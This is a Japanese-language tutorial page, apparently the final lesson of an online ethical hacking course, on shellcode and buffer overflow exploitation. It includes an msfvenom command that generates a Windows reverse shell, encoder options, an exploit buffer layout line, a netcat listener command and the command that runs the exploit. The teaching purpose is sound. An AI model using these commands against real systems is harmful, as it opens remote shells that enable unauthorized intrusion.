シェルコードとエクスプロイト
シェルを取得します
「シェルコードとエクスプロイト」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
shellcodeとは
Shellcodeは、実行されると何らかの処理を行う小さなマシンコードで、典型的にはシェルを起動します。EIPを制御した後、実行をリダイレクトするペイロードです。
メモリへ直接注入できるよう、生のバイト列(オペコード)として記述されます。
ペイロードの種類
一般的なペイロードの目的には、次のものがあります。
- Bind shell:被害者側で待ち受けポートを開きます。
- Reverse shell:攻撃者へ接続を返します(ファイアウォールやNATを越えやすくなります)。
- Execute command:ユーザー追加など、単一のコマンドを実行します。
実際の侵入テストでは、Reverse shellが最も一般的です。
msfvenomで生成する
msfvenomはペイロードを生成します。ペイロードの種類、リスナーのアドレスとポート、出力形式、回避する問題のある文字を指定します。
-bフラグは問題のある文字を除外し、-fは出力形式を設定します。
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cエンコードが必要な理由
生のshellcodeには、NULLバイトのような問題のある文字が含まれていることがよくあります。エンコーダーは、そうしたバイトを避けるようにペイロードを変換し、実行時に元のコードを復元するデコーダースタブを先頭に付加します。
古典的なエンコーダーはx86/shikata_ga_naiです。
msfvenom ... -e x86/shikata_ga_nai -b "\x00"デコーダーと自己書き換え
エンコードされたshellcodeは、実行前にメモリ上で自分自身をデコードします。この自己書き換えにはスタック上に少し余裕が必要です。そのため、NOPスレッドと十分なバッファ領域が役立ちます。
デコーダーが自身のコードを破壊しないよう、先にESPを調整しなければならない場合もあります。
最終的なエクスプロイトを組み立てる
完全なエクスプロイトバッファは次のとおりです。
- オフセットまでのパディング。
- JMP ESPのリターンアドレス。
- NOPスレッド。
- エンコードされたshellcode。
これを脆弱な入力へ送ると、実行がペイロードへ流れ込みます。
buf = "A"*offset + ret + "\x90"*16 + shellcodeリスナーの設定
リバースシェルでは、エクスプロイトを実行する前に自分のマシンで待ち受ける必要があります。シンプルなNetcatリスナーで着信接続を受け取れます。
ステージ型ペイロードでは、代わりにMetasploitのmulti/handlerを使用してください。
nc -lvnp 4444エクスプロイトの実行
リスナーの準備ができたら、細工したバッファーをターゲットに送信します。すべてが正しく整っていれば、シェルコードが実行され、リスナーで被害者マシンのシェルを受け取れます。
これで、脆弱なプロセスの権限でコマンドを実行できるようになります。
python exploit.py 10.0.0.20 9999トラブルシューティング
失敗した場合は、よくある原因を確認してください。
- シェルコードまたはリターンアドレスに不正な文字が混入している。
- NOPスレッドが短すぎる。
- デコーダーのスタック領域が不足している(ESPを調整してください)。
- オフセットまたはエンディアンが間違っている。
デバッガーで手順を追ってデバッグすれば、問題箇所を特定できます。
クラシックなバッファーオーバーフローの先へ
DEPとASLRが有効になっている場合、スタック上の通常のシェルコードは実行されません。最新のエクスプロイトでは、既存のコードガジェットを連結するReturn-Oriented Programming(ROP)や、ASLRを無効化するための情報漏えいを使用します。
このコースでは、これらの高度な手法の基礎となる知識を学びました。
ステージ型と非ステージ型
ペイロードには2種類あります。非ステージ型ペイロードには、完全なシェルコードが1つのデータとして含まれています。ステージ型ペイロードは、小さなスタブを送信し、残りの部分をハンドラーからダウンロードします。
ステージ型ペイロードは小さなバッファーにも収まりますが、第2ステージを提供するために、Metasploitのmulti/handlerのような対応するハンドラーが必要です。
クイックチェック
シェルコードがエンコードされることが多い理由を思い出してください。
まとめ
エクスプロイトの一連の流れを完了しました。
- シェルコードはペイロードであり、リバースシェルが最も実用的です。
- msfvenomで生成してエンコードし、不正な文字を回避します。
- パディング + JMP ESP + NOPスレッド + シェルコードを組み立て、リスナーを起動して実行します。
- 最新のターゲットでは、DEP/ASLRを突破するためにROPと情報漏えいが必要です。
Buffer Overflow Exploitationコースを完了しました。
よくある質問
「シェルコードとエクスプロイト」レッスンは無料ですか?
はい。「シェルコードとエクスプロイト」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「シェルコードとエクスプロイト」で何を学びますか?
シェルを取得します ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「シェルコードとエクスプロイト」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- メモリとスタック
- クラッシュを探すファジング
- EIPの制御
- シェルコードとエクスプロイト